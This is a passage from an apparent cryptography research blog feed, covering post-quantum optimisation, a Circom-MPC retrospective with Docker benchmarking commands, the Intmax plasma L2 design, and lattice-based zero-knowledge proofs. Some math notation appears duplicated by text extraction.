Fermat's Little Theorem, it holds that $x^p = x \pmod{p}$, which means: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/iklIW_IpP9J7QftHkUhuu.webp) Elliptic curve operations can be vectorized but to a lesser extent as lattice-based operations. One [example](https://orbilu.uni.lu/bitstream/10993/48810/1/SAC2020.pdf) is handling field elements in radix-$2^{29}$ representation: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/9_wN0F-mlUQkeLZ3t68oS.webp) where $0 \leq f_i < 2^{29}$ for $0 \leq i \leq 8.$ However, the number of lanes plays a crucial role in SIMD optimizations. In lattice-based cryptography, it is straightforward to have $64$ or $128$ lanes, which can significantly enhance parallel processing capabilities. In contrast, the example above only utilizes $9$ lanes, which limits the potential for SIMD optimization. ## Conclusion Lattice-based cryptography is currently at the forefront of post-quantum cryptographic advancements, with performance being one of the key reasons for its prominence. Somewhat unjustly, isogeny-based cryptography has gained a reputation for being broken in recent years. This is due to the [Castryck-Decru attack](https://eprint.iacr.org/2022/975), which, however, applies only to schemes that expose additional information about the isogeny, namely the image of two points: ![](/articles/code-optimizations-in-the-landscape-of-post-quantum-cryptography/Hy1_4tz6kx.webp) Given the images of two points under an isogeny $\psi$, one can compute the images of other points as well. For this, [Kani's lemma](https://mast.queensu.ca/~kani/papers/numgenl.pdf), a remarkable result from 1997, is used. Thankfully, many isogeny-based schemes do not expose the images of points. One such example is [SQIsign](https://sqisign.org/), which features super-compact keys and signatures, making them comparable in size to those used in elliptic-curve-based signature schemes. In summary, isogeny-based cryptography is less performant and less versatile than lattice-based cryptography; however, it offers advantages such as significantly smaller keys and signatures. It will be interesting to see which area of post-quantum cryptography emerges as the dominant choice in the coming years. I haven't explored code-based, multivariate, or hash-based cryptography in depth yet, and each of these approaches comes with its own strengths and challenges. ]]> post-quantum cryptography pqc cryptography optimization security algorithms zero-knowledge proofs elliptic curves research infrastructure/protocol <![CDATA[Circom MPC: TL;DR and Retrospective]]> https://pse.dev/blog/circom-mpc-tldr-and-retrospective https://pse.dev/blog/circom-mpc-tldr-and-retrospective Thu, 06 Mar 2025 00:00:00 GMT <![CDATA[This post was authored by the Circom MPC research team.]]> <![CDATA[ Circom-MPC is a PSE Research project that enables the use of the Circom language to develop MPC applications. In this project, we envisioned MPC as a [broader paradigm](https://mirror.xyz/privacy-scaling-explorations.eth/qelA6kAr-CMq-dgmvFUKMMqxf6GoDaP8Cs-5sRWYfO4#MPC-as-a-Paradigm), where MPC serves as an umbrella for generic techniques such as Zero-Knowledge Proof, Garbled Circuit, Secret-Sharing, or Fully Homomorphic Encryption. Throughout this research the team produced some valuable resources and insights, including: - Implementation of [circom-2-arithc](https://github.com/namnc/circom-2-arithc), a fork of the Circom compiler that targets arithmetic circuits, which can be fed into any MPC backend - Example integration of circom-2-arithc with the popular Secret-Sharing based backend MP-SPDZ in [circom-MP-SPDZ](https://github.com/namnc/circom-mp-spdz). - Proof of concept application using [MPC-ML](https://hackmd.io/YsWhryEtQ0WwKyerSL8oCw#Circomlib-ML-Patches-and-Benchmarks) with [keras-2-circom-MP-SPDZ](https://github.com/namnc/circom-mp-spdz/blob/main/ML-TESTS.md) which extends keras-2-circom-ZK to [keras-2-circom-MPC](https://github.com/namnc/keras2circom). - [Modular Layer benchmarks](https://mirror.xyz/privacy-scaling-explorations.eth/qelA6kAr-CMq-dgmvFUKMMqxf6GoDaP8Cs-5sRWYfO4#Modular-Layer-Benchmark) for the keras model. We decided to sunset the project for a few reasons: - The overwhelming amount of effort to fully implement it. - The low current traction of users (could be due to Circom). Hence a [Typescript-MPC](https://github.com/voltrevo/mpc-framework) variant may be of more public interest. - The existence of competitors such as [Sharemind MPC into Carbyne Stack](https://cyber.ee/uploads/Sharemind_MPC_CS_integration_a01ca476a7.pdf). Therefore, we will leave it as a paradigm, and we hope that any interested party will pick it up and continue its development. In what follows we explain: - MPC as a Paradigm - Our Circom-MPC framework - Our patched Circomlib-ML and modular benchmark to have a taste of MPC-ML ## MPC as a Paradigm Secure Multiparty Computation (MPC), as it is defined, allows mutually distrustful parties to jointly compute a functionality while keeping the inputs of the participants private. ![](/articles/circom-mpc-tldr-and-retrospective/OTTH9ND7SQMh-i4fIIgXE.webp) An MPC protocol can be either application-specific or generic: ![](/articles/circom-mpc-tldr-and-retrospective/do3fC19CfKHw3rOHMuFV2.webp) While it is clear that Threshold Signature exemplifies application-specific MPC, one can think of generic MPC as an efficient MPC protocol for a Virtual Machine (VM) functionality that takes the joint function as a common program and the private inputs as parameters to the program and the secure execution of the program is within the said VM. _For readers who are familiar with Zero-Knowledge Proof (ZKP), MPC is a generalization of ZKP in which the MPC consists of two parties namely the Prover and the Verifier, where only the Prover has a secret input which is the witness._ ![](/articles/circom-mpc-tldr-and-retrospective/AQpIQQuDUa4K6vWqK4tCI.webp) And yes, Fully Homomorphic Encryption (FHE) is among techniques (alongside Garbled-Circuit and Secret-Sharing) that can be used for MPC construction in the most straightforward mental model: ![](/articles/circom-mpc-tldr-and-retrospective/gBQ4obkZZ9je05-isHPj1.webp) ## Programmable MPC That said, MPC is not a primitive but a [collection of techniques](https://mpc.cs.berkeley.edu/) aimed to achieve the above purpose. Efficient MPC protocols exist for specific functionalities from simple statistical aggregation such as mean aggregation (for ads), Private Set Intersection (PSI) to complex ones such as RAM (called [Oblivious-RAM](https://en.wikipedia.org/wiki/Oblivious_RAM)) and even Machine Learning (ML). ![](/articles/circom-mpc-tldr-and-retrospective/pHw15k09c5DAsNqwacm54.webp) As each technique GC/SS/FHE and specialized MPC has its own advantage, it is typical to combine them into one's privacy preserving protocol for efficiency: ![](/articles/circom-mpc-tldr-and-retrospective/UA0OIa7kBB8k54ripH50P.webp) In what follows, we present work that enables the use of Circom as a front-end language for developing privacy-preserving systems, starting with the MP-SPDZ backend. ![](/articles/circom-mpc-tldr-and-retrospective/Pu6FYJqTnT4r478Ydn_u0.webp) _[Detailed explanation of Programmable-MPC with Circom-MPC.](https://docs.google.com/presentation/d/1dPvNyrBWyqyX2oTGcnM52ldpISGrhwEhIZXJPwYWE6I/edit#slide=id.g2818c557dad_0_261)_ The Circom-MPC project aims to allow a developer to write a Circom program (a Circom circuit) and run it using an MPC backend. ### The workflow - A circom program (prog.circom and the included libraries such as circomlib or circomlib-ml) will be interpreted as an arithmetic circuit (a [DAG](https://en.wikipedia.org/wiki/Directed_acyclic_graph) of wires connected with nodes with an input layer and an output layer) using [circom-2-arithc](https://github.com/namnc/circom-2-arithc). - A transpiler/builder, given the arithmetic circuit and the native capabilities of the MPC backend, translates a gate to a set of native gates so we can run the arithmetic circuit with the MPC backend. ### Circom-MP-SPDZ [Circom-MP-SDPZ](https://github.com/namnc/circom-mp-spdz/) allows parties to perform Multi-Party Computation (MPC) by writing Circom code using the MP-SPDZ framework. Circom code is compiled into an arithmetic circuit and then translated gate by gate to the corresponding MP-SPDZ operators. The Circom-MP-SDPZ workflow is described [here](https://hackmd.io/@mhchia/r17ibd1X0). ## Circomlib-ML Patches and Benchmarks With MPC we can achieve privacy-preserving machine learning (PPML). This can be done easily by reusing [circomlib-ml](https://github.com/socathie/circomlib-ml) stack with Circom-MPC. We demonstrated PoC with [ml_tests](https://github.com/namnc/circom-mp-spdz/tree/main/ml_tests) - a set of ML circuits (fork of [circomlib-ml](https://github.com/socathie/circomlib-ml)). More info on ML Tests [here](https://github.com/namnc/circom-mp-spdz/blob/main/ML-TESTS.md). ### Patches **Basic Circom ops on circuit signals** Circom-2-arithc enables direct usage of comparisons and division on signals. Hence the original Circom templates for comparisons or the division-to-multiplication trick are no longer needed, e.g. - GreaterThan can be replaced with ">" - IsPositive can be replaced with "> 0" - x = d \* q + r can be written as "q = x / d" **Scaling, Descaling and Quantized Aware Computation** Circomlib-ML "scaled" a float to int to maintain precision using $10^{18}$: - for input $a$, weight $w$, and bias $b$ that are floats - $a$, $w$ are scaled to $a' = a10^{18}$ _and_ $w' = w10^{18}$ - $b$ is scaled to $b' = b10^{36}$_,_ due to in a layer we have computation in the form of $aw + b \longrightarrow$ the outputs of this layer is scaled with $10^{36}$ - To proceed to the next layer, we have to "descale" the outputs of the current layer by (int) dividing the outputs with $10^{18}$ - say, with an output $x$, we want to obtain $x'$ s.t. - $x = x'*10^{18} + r$ - so effectively in this case $x'$ is our actual output - in ZK $x'$ and $r$ are provided as witness - in MPC $x'$ and $r$ have to be computed using division (expensive) For efficiency we replace this type of scaling with bit shifting, i.e. - instead of $*10^{18}$ ($*10^{36}$) we do $*2^s$ ($*2^{2s}$)where $s$ is called the scaling factor - The scaling is done prior to the MPC - $s$ can be set accordingly to the bitwidth of the MPC protocol - now, descaling is simply truncation or right-shifting, which is a commonly supported and relatively cheap operation in MPC. - $x' = x >> s$ **The "all inputs" Circom template** Some of the Circomlib-ML circuits have no "output" signals; we patched them to treat the outputs as 'output' signals. The following circuits were changed: - ArgMax, AveragePooling2D, BatchNormalization2D, Conv1D, Conv2D, Dense, DepthwiseConv2D, Flatten2D, GlobalAveragePooling2D, GlobalMaxPooling2D, LeakyReLU, MaxPooling2D, PointwiseConv2D, ReLU, Reshape2D, SeparableConv2D, UpSampling2D _**Some templates (Zanh, ZeLU and Zigmoid) are "unpatchable" due to their complexity for MPC computation.**_ ### Keras2Circom Patches > keras2circom expects a convolutional NN; We forked keras2circom and create a [compatible version](https://github.com/namnc/keras2circom). ### Benchmarks After patching Circomlib-ML we can run the benchmark separately for each patched layer above. **Docker Settings and running MP-SPDZ on multiple machines** For all benchmarks we inject synthetic network latency inside a Docker container. We have two settings with set latency & bandwidth: 1. One region - Europe & Europe 2. Different regions - Europe & US We used `tc` to limit latency and set a bandwidth: ```bash tc qdisc add dev eth0 root handle 1:0 netem delay 2ms tc qdisc add dev eth0 parent 1:1 handle 10:0 tbf rate 5gbit burst 200kb limit 20000kb ``` Here we set delay to 2ms & rate to 5gb to imitate a running within the same region (the commands will be applied automatically when you run the script). There's a [Dockerfile](https://github.com/namnc/circom-mp-spdz/blob/main/Dockerfile), as well as different benchmark scripts in the repo, so that it's easier to test & benchmark. If you want to run these tests yourself: 1\. Set up the python environment: ```bash python3 -m venv .venv source .venv/bin/activate ``` 2\. Run a local benchmarking script: ```bash python3 benchmark_script.py --tests-run=true ``` 3\. Build & Organize & Run Docker container: ```bash docker build -t circom-mp-spdz . docker network create test-network docker run -it --rm --cap-add=NET_ADMIN --name=party1 --network test-network -p 3000:3000 -p 22:22 circom-mp-spdz ``` 4\. In the Docker container: ```bash service ssh start ``` 5\. Run benchmarking script that imitates few machines: ```bash python3 remote_benchmark.py --party1 127.0.0.1:3000 ``` 6\. Deactivate venv ```bash deactivate ``` **Benchmarks** Below we provide benchmark for each different layer separately, a model that combines different layers will yield corresponding combined performance. ![](/articles/circom-mpc-tldr-and-retrospective/_gT634uo_O9kx4ogisxtj.webp) ![](/articles/circom-mpc-tldr-and-retrospective/1EZeKTAV2tO1M-t1kwtk2.webp) Accuracy of the circuits compared to Keras reference implementation: ![](/articles/circom-mpc-tldr-and-retrospective/RWD7aoy3r8bs-uMc0d45D.webp) Our above benchmark only gives a taste of how performance looks for MPC-ML; any interested party can understand approximate performance of a model that combines different layers. ]]> circom mpc secure multi-party computation privacy cryptography zero-knowledge proofs machine learning mp-spdz computational integrity research <![CDATA[Intmax: a scalable payment L2 from plasma and validity proofs]]> https://pse.dev/blog/intmax-a-scalable-payment-l2-from-plasma-and-validity-proofs https://pse.dev/blog/intmax-a-scalable-payment-l2-from-plasma-and-validity-proofs Tue, 04 Mar 2025 00:00:00 GMT <![CDATA[This post was written by PSE researcher Pierre and originally posted on his [personal blog](https://www.pierredm.xyz/posts/intmax). Thanks to the Intmax team for their helpful review on this post!]]> <![CDATA[ [Intmax](https://www.intmax.io/) has been pioneering L2 transaction-only constructions based on [client-side validation](https://eprint.iacr.org/2025/068.pdf) (CSV), where transaction validation relies on cryptographic proofs rather than blockchain consensus rules. Data is intermittently posted on a dedicated blockchain, primarily for deposits, withdrawals, and account checkpoints. The Intmax2 [paper](https://eprint.iacr.org/2023/1082) is an instantiation of CSV. It consists of two core primitives: a Plasma-like data availability (DA) mechanism and validity proofs. It demonstrated that such a combination can help L2s achieve quite high TPS numbers. In this piece, we will explore why that is the case and how Intmax operates under the hood. ## Plasma Originally, plasma was considered a strong L2 architecture candidate, distinct from both optimistic and zk-rollups. Its two key differences lay in the role assigned to the block builder (or "aggregator") and the amount of data posted on-chain. Until recently, this data primarily consisted of block hashes produced by plasma aggregators, resulting in a minimal on-chain data footprint for plasma rollups. To enable that DA model, plasma designers assumed that (1) users would stay online and participate in non-trivial challenge games when aggregators misbehave (e.g., using fraud proofs) and (2) mechanisms would be in place to prevent the aggregator from withholding block data (e.g., requiring signatures on blocks submitted by the aggregator). Many plasma designs have been proposed in the past ([original plasma](https://www.plasma.io/plasma.pdf), [plasma cash](https://arxiv.org/abs/1911.12095), and various [ethresearch posts](https://ethresear.ch/tags/plasma), among others1^11). However, a key difference today is the cambrian explosion in sn(t)ark development—both in new constructions and improved frameworks—that has taken place in the meantime. Given today's DA scarcity and relatively [low TPS numbers](https://l2beat.com/scaling/activity), there are strong incentives to revisit these designs while leveraging the best of both validity proofs and plasma DA. This research is particularly relevant for ecosystems with expensive blockspace and emerging L2s, such as Bitcoin. ![DA scarcity is starting to hit, we have been regularly reaching the blob target for a few months now. See https://dune.com/hildobby/blobs.](/articles/intmax-a-scalable-payment-l2-from-plasma-and-validity-proofs/fm-nMw5onjaqpw6QOLypf.webp) ## Preventing data withholding with BLS Signatures The first attack plasma chains aim to address is data withholding by the aggregator. Since (roughly) only block roots are posted on-chain, plasma users must ensure that block data (i.e., transaction inclusion proofs) is properly delivered to the transaction senders included in the posted block. To address this, Intmax aggregators send [block proposals](https://github.com/InternetMaximalism/intmax2-zkp/blob/8f511d8ee5f2f3286ecb1d6854f31b056872a57a/src/mock/block_builder.rs#L135) to users, who then [BLS-sign](https://github.com/InternetMaximalism/intmax2-zkp/blob/8f511d8ee5f2f3286ecb1d6854f31b056872a57a/src/mock/client.rs#L285) them—attesting to data availability—and send them back to the aggregator. When the block is posted on-chain, the block proposer submits an [aggregated BLS signature](https://github.com/InternetMaximalism/intmax2-zkp/blob/4f43690a9cd005686f1283746204845f13dcea8b/src/mock/block_builder.rs#L345), composed of all the signatures received from senders. This aggregated signature, along with all sender addresses, is then [verified](https://github.com/InternetMaximalism/intmax2-contract/blob/2e77bbbe77a5b86449b588691183b05d9887603b/contracts/rollup/Rollup.sol#L184) within the plasma rollup contract. You could still observe that the data withholding problem could be flipped on its head: can't users delay block production by retaining their signatures when asked by the aggregator? To avoid this, if the aggregator does not receive the signature in some specified timeframe, the transaction will still be included in the block but the aggregator will [include a boolean flag](https://github.com/InternetMaximalism/intmax2-zkp/blob/4f43690a9cd005686f1283746204845f13dcea8b/src/mock/block_builder.rs#L327) indicating that the signature was not sent back. ## Preventing malicious aggregators with validity proofs The second attack plasma chains want to solve is the aggregator including malicious transactions - i.e. spending coins which do not exist. To prevent this, Intmax leverages [proof-carrying data](https://dspace.mit.edu/bitstream/handle/1721.1/61151/698133641-MIT.pdf) (PCD) to compose together proofs which end up attesting to the validity of coins being spent. In Intmax, users prove their balance by aggregating proofs, each attesting to the validity of either its own balance (such as in the case of deposits, withdrawals or coin sends) or of others (such as in the case of coin receipts). The aggregated proof is called the "balance proof": πbalance. It attests to the user's balance on the plasma chain and results from composing proofs originating from various sources. There are 4 important different action types which will contribute to changing the user's balance proof. Each action type update the user's πbalance balance proof: 1. send: updates the balance if the user knows a valid witness attesting to a send operation. 2. receive: updates the balance if the user knows a valid witness attesting to the user receiving a coin transfer. 3. deposit: updates the balance if the user knows a valid witness attesting to the user performing a deposit. 4. update: a "utility" which updates the balance from one block Bt−i to another Bt−j if the user knows a valid witness attesting to the correctness of the balance at block Bt−j. An instantiation of this logic is Intmax's `BalanceProcessor` struct, implementing four methods, all corresponding to each of the different types described above: `prove_send`, `prove_update`, `prove_receive_transfer` and `prove_receive_deposit`. This struct's method will be invoked each time an intmax user will perform the corresponding state changing actions on the plasma chain. ## How scalable is this design? Intmax's has one of the lowest onchain data footprint among all L2s. This directly stems from its plasma design and the clever trick they found for identifying plasma users on the L1. Briefly, senders ids are stored with approx. 4.15 bytes of data on the L1: this means that with 12s block time and 0.375mb of da, Intmax has some of the highest _theoretical_ TPS, hovering around 7k transactions/second - and _doable today_! ## Main algorithms Intmax uses [plonky2](https://github.com/0xPolygonZero/plonky2) to entangle proofs together to yield one single balance proof. This means that Intmax's code is a bit involved. We lay out here in a somewhat detailed, yet informal fashion the main algorithms used by intmax's plasma according to the [code](https://github.com/InternetMaximalism/intmax2-zkp/tree/cli)2^22, instead of the paper. The implementation contains interesting details, which probably in the name of succinctness, were not included in the paper. One pattern of Intmax's PCD flow is for users to (1) update their balance proof to show the state of the account right before a plasma action happened, (2) generate a transition proof attesting to the validity of the transition of the account private state when the plasma action is applied and (3) generate a new public balance proof attesting to the balance of the user once the action has been processed. We now review how the balance proof is updated according to each action triggered by an Intmax plasma user. ### Deposit A deposit consists in a user sending funds to the Intmax rollup contract, an aggregator building a block acknowledging the deposit and the depositor updating his balance proof using deposit witness data. 1. User deposits [onchain](https://github.com/InternetMaximalism/intmax2-zkp/blob/8f511d8ee5f2f3286ecb1d6854f31b056872a57a/src/mock/client.rs#L119) (a mocked contract here), updating the onchain [deposit tree](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/contract.rs#L88) and [generates a proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/balance_logic.rs#L34) attesting to the existence of the block BtB_tBt​ where the deposit occurred onchain and of his account inclusion within the account tree. 2. User [updates his balance proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/balance_logic.rs#L50) πt−ibalance→πt−1balance, right before the deposit block BtB\_{t}Bt​. To this end, he uses an update witness wt−1update _attesting to block_ Bt−1B\_{t-1}Bt−1​ correctness and to the existence of the user's account at that block. 3. User retrieves a deposit witness wtdeposit _attesting to the onchain deposit validity - i.e. the deposit is present at block_ BtB{t}Bt, which has been built correctly. 4. User generates a balance transition proof πt−1,ttransition _using the deposit witness_ wtdeposit attesting to the validity of the account's state transition. 5. Uses the πt−1,ttransition* proof to generate the [final, public, balance proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/balance_logic.rs#L91) *πtbalance ### Transfer A transfer involves a sender and an aggregator communicating over a block proposal. Once the block proposal has been signed by the sender and posted onchain by the aggregator, the sender is able to update his balance proof and convince the receiver of the transaction's validity. 1. Sender makes a transaction request to the aggregator. a. Generates a [transfer tree](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L183) TttransferT^{transfer}\_{t}Tttransfer​*b. Generates a [spent witness](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L189) *wtspentw^{spent}\_{t}wtspent​, used later on to prove a valid send operation. c. Generates a [spent proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L197) πtspent attesting to the user's transaction validity. d. [Sends a transaction request](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L203) (containing the nonce and the transfer tree root) to the aggregator. 2. Aggregator builds block and sends transaction inclusion merkle proof πtinclusion to senders. 3. Sender finalizes the transaction: a. Checks the transaction merkle inclusion proof πtinclusion* b. [BLS signs](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L285) the transaction merkle inclusion proof *πtinclusion c. Sends transaction data (πtspent,πtinclusion) to the transaction receiver 4. Builder posts BproposalB^{proposal}Bproposal onchain along with [aggregated signatures](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L286) from senders ### Receive Receiving a transfer means both receiver and sender update their balance proofs. On the sender side: 1. Updates his balance proof πt−ibalance→πt−1balance, up to right before the transfer block BtB_tBt​. 2. Using the transaction TxtTx\_{t}Txt​ and the spent proof πtspent*, [generates a transition proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/circuits/balance/transition/transition_processor.rs#L87) *πt−1,ttransition attesting to a valid send operation and uses it to update his balance proof πt−ibalance→πtbalance 3. Updates his private state accordingly: updates his asset tree (removing the corresponding sent transfer amounts), increments his nonce. On the receiver side: 1. [Updates his balance proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/balance_logic.rs#L127) πt−ibalance→πt−1balance, up to right before the transfer block BtB_tBt​. 2. Generates a balance transition proof πt−1,ttransition*, which [attests to the receipt of a valid transfer](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/circuits/balance/transition/transition_processor.rs#L215) πt−1,ttransferπt−1,ttransfer. It uses the transfer witness wttransfer*, which contains transaction data (πtspent,πtinclusion*) and the sender's balance proof* πbalancet. 3. Generates the [new balance proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/circuits/balance/transition/transition_processor.rs#L235) πtbalance _using the balance transition proof_ πt−1,ttransition. ### Withdraw Withdraws are akin to regular transfers, but occur between an Intmax account and an L1 address. This means that users initiate a transfer by simply sending their funds to the L1 address that they would like to withdraw to. Since it is easy [to detect an L1 pubkey](https://github.com/InternetMaximalism/intmax2-zkp/blob/8f511d8ee5f2f3286ecb1d6854f31b056872a57a/src/common/generic_address.rs#L58), intmax clients can easily [detect and sync](https://github.com/InternetMaximalism/intmax2-zkp/blob/8f511d8ee5f2f3286ecb1d6854f31b056872a57a/src/mock/client.rs#L278) to new withdrawal requests. This also means that all the steps used in the transfer process are effectively the same in the case of a withdraw. The major difference is when retrieving funds from the L1 contract: 1. The client syncs with withdrawals requests that have been done so far and picks the one relevant to the user from an [encrypted vault](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L401) storing withdrawals proofs. 2. If needed, the user updates his balance proof πtbalance _by applying the withdrawal transfer_ TtwithdrawT^{withdraw}\_{t}Ttwithdraw​ which occurred at block BtB_tBt​. 3. The user generates a [withdrawal proof](https://github.com/InternetMaximalism/intmax2-zkp/blob/233a26eb1d8b2580f66136a95319ad99eb1f62f2/src/mock/client.rs#L630) πtwithdraw using a withdrawal witness wtwithdraw*t \_attesting to a transfer occurring from an intmax to an L1 address and included within block* BtB_tBt​*. The withdrawal proof* πtwithdraw is sent to a withdrawal aggregator. 4. A withdrawal aggregator chains together withdrawal proofs πtwithdraw,0,...,πtwithdraw,k and verifies them on the L1, triggering effective funds withdrawals on the rollup contract. ## Common questions 1. Can't the transaction sender retain data from the recipient? There is no sender data withholding problem: the sender of a coin wants the receiver to acknowledge he received and validated the spent - think in terms of buying a coffee, how would he be able to buy it otherwise? So this isn't a problem in our case, the sender of a coin hasn't really any incentive to retain his spent proof from the recipient. 1. Can't I just double spend my coins to two people at the same time? No. Validity proofs prevent a sender from doing so since he will need to provide a balance proof to each of the recipients, thereby attesting to the fact that their transaction has been processed correctly and with a sufficient balance. 1. Does it mean users have to keep their data on their device? Yes, one drawback of such designs is to assume users will safeguard their data on their local devices. To alleviate some of the risks attached to this (keys aren't the only thing you should keep safely in this model), the initial intmax implementation features a server vault in charge of storing (not yet) encrypted users data. ## Footnotes 1. [Plasma World Map](https://ethresear.ch/t/plasma-world-map-the-hitchhiker-s-guide-to-the-plasma/4333), [Minimal Viable Plasma](https://ethresear.ch/t/minimal-viable-plasma/426), [Roll_up](https://ethresear.ch/t/roll-up-roll-back-snark-side-chain-17000-tps/3675), [Plasma Cash with much less per user data checking](https://ethresear.ch/t/plasma-cash-plasma-with-much-less-per-user-data-checking/1298/116?u=pierre) 2. We will be working on the `cli` branch ## Verification | | | | ----------------------- | -------------------------------------------------------------------------------------------------------------- | | **ARWEAVE TRANSACTION** | [dg39kqSRB8RgH9H…h3vmfJBRpMpleUo](https://viewblock.io/arweave/tx/dg39kqSRB8RgH9HqJ4enlzm9WsXUh3vmfJBRpMpleUo) | | **AUTHOR ADDRESS** | [0xe8D02b67Bd04A49…67a2c8f3fb02e9c](https://etherscan.io/address/0xe8D02b67Bd04A490ef4f1126b67a2c8f3fb02e9c) | | **CONTENT DIGEST** | \_\_VLZrfjSScx42E…v8ujCWY_DuN1k4o | ]]> intmax plasma l2 scaling zero-knowledge proofs validity proofs plonky2 data availability <![CDATA[Lattice-Based Proof Systems]]> https://pse.dev/blog/lattice-based-proof-systems https://pse.dev/blog/lattice-based-proof-systems Tue, 18 Feb 2025 00:00:00 GMT <![CDATA[This post was written by PSE researcher Miha Stopar.]]> <![CDATA[ Post-quantum cryptography (PQC) is important because it addresses the potential threat posed by quantum computers to classical cryptographic systems. Quantum computers leverage the principles of quantum mechanics to perform calculations exponentially faster than classical computers in certain cases. Two algorithms, in particular, pose significant threats: - [Shor's Algorithm](https://en.wikipedia.org/wiki/Shor%27s_algorithm): Efficiently solves integer factorization and discrete logarithm problems, which are the basis of widely used cryptographic protocols like RSA, DSA, and Diffie-Hellman. - [Grover's Algorithm](https://en.wikipedia.org/wiki/Grover%27s_algorithm): Reduces the security of symmetric-key algorithms by effectively halving the key length (e.g., a 128-bit AES key would offer only 64 bits of security against Grover's algorithm). If large-scale, fault-tolerant quantum computers become practical, many of today's encryption, digital signature, and key exchange protocols would be rendered insecure. Lattice-based cryptography is a promising area within modern cryptography. It is likely the most versatile and performant subfield of PQC. For example, the folding scheme [LatticeFold](https://eprint.iacr.org/2024/257.pdf) is believed to be as efficient as the fastest traditional elliptic curve-based folding schemes. The competing non-lattice PQC zero-knowledge proof systems ([Ligero](https://eprint.iacr.org/2022/1608.pdf), [Aurora](https://eprint.iacr.org/2018/828.pdf)) base their security only on the security of unstructured hash functions, but they suffer from extremely high demands for computational resources. In this post, we will discuss some of the challenges involved in constructing zero-knowledge proof systems based on lattices. For a more in-depth explanation, please refer to the video by [Vadim Lyubashevsky](https://www.youtube.com/watch?v=xEDZ4tyesMY&t=148s). ## Zero-knowledge proofs based on discrete logarithm A zero-knowledge proof (ZKP) is a cryptographic protocol that allows one party (the prover) to convince another party (the verifier) that a specific statement is true without revealing any additional information beyond the fact that the statement is true. Typically, the prover may also wish to demonstrate additional properties of these statements. For instance, suppose the prover wants to prove the knowledge of $x_1$ such that: $g^{x_1} = h_1$ and the knowledge of $x_2$ such that $g^{x_2} = h_2$ for some public values $g, h_1, h_2$. Furthermore, the prover would like to prove $x_1 = u \cdot x_2$ for some $u$. For the zero-knowledge proof of $x_1$ such that $g^{x_1} = h_1$, the [Schnorr protocol](https://en.wikipedia.org/wiki/Proof_of_knowledge) can be employed (technically, it is an honest-verifier zero-knowledge proof, but we will set this detail aside): - The prover chooses $y_1$ and sends $t_1 = g^{y_1}$ to the verifier. - The verifier chooses a challenge $d$ and sends it to the prover. - The prover sends $z_1 = y_1 + x_1 d$ to the verifier. - The verifier checks whether $g^{z_1} = t_1 h_1^d$. ![](/articles/lattice-based-proof-systems/image-1.webp) Now, the protocol can be easily extended to prove the knowledge of $x_2$ such that $g^{x_2} = h_2$. In this case, the prover would also send $t_2 = g^{y_2}$ in the first step and $z_2 = y_2 + x_1 d$ in the third one. The verifier would then check whether $g^{z_2} = t_2 h_2^d$. ![](/articles/lattice-based-proof-systems/image-2.webp) Note that checking the additional property $x_1 = u \cdot x_2$ is straightforward: $h_1 = h_2^u$ Also, for instance, if we had $g^{x_3} = h_3$, the linear relation $x_3 = a \cdot x_1 + b \cdot x_2$ is easy to check: $g^{z_3} = t_3 \cdot (h_1^a h_2^b)^d$ However, the Schnorr protocol is not quantum-safe, as it relies on the discrete logarithm problem, which can be broken by Shor's algorithm. Can we construct similar zero-knowledge proofs using lattices instead? ## Zero-knowledge proofs based on lattices The discrete logarithm problem is to find $x$ given $g^x$. There is a somewhat analogous problem in the lattice-based cryptography world: the Shortest Integer Solution (SIS) problem. The system of linear equations $$Ax = h \pmod{q}$$ where $A \in \mathbb{Z}^{m \times n}_q$ and $h \in \mathbb{Z}^n_q$ can be solved in polynomial time with [Gaussian elimination](https://en.wikipedia.org/wiki/Gaussian_elimination). But variations of this problem can be hard. For example, when we require that the norm of$x$ is smaller than some bound $B$. Note that the bound needs to be smaller than $q$; otherwise, $(q, 0, ..., 0)$ is a trivial solution. The SIS problem $SIS(m, n, q, B)$ is the problem of finding $x = (x_1, ..., x_n)$ such that $$Ax = 0 \pmod{q}$$ and $$||x|| \leq B$$ Can we do Schnorr-like ZKP for such $x$? ### Schnorr for lattices Let's have $x_1$ such that $$Ax_1 = h_1 \pmod{q}$$ and $$||x_1|| \leq B$$ Would the following protocol work? ![](/articles/lattice-based-proof-systems/image-3.webp) The last step of the protocol would be verifier checking whether $A z_1 = A y_1 + d A x_1 = t_1 + d h_1$. However, this would not work. The problem is that $z_1$ might not be short, and if we don't require $z_1$ to be short, the prover could provide $z_1$ such that $A z_1 = t_1 + dh_1$ by using Gauss elimination! So, $z_1$ needs to be small. To achieve this, $d$ needs to be small as well (note that $z_1 = y_1 + x_1 d$), but on the other hand, we want the challenge space to be large—the larger it is, the better the soundness property. Note that if the prover can guess the challenge 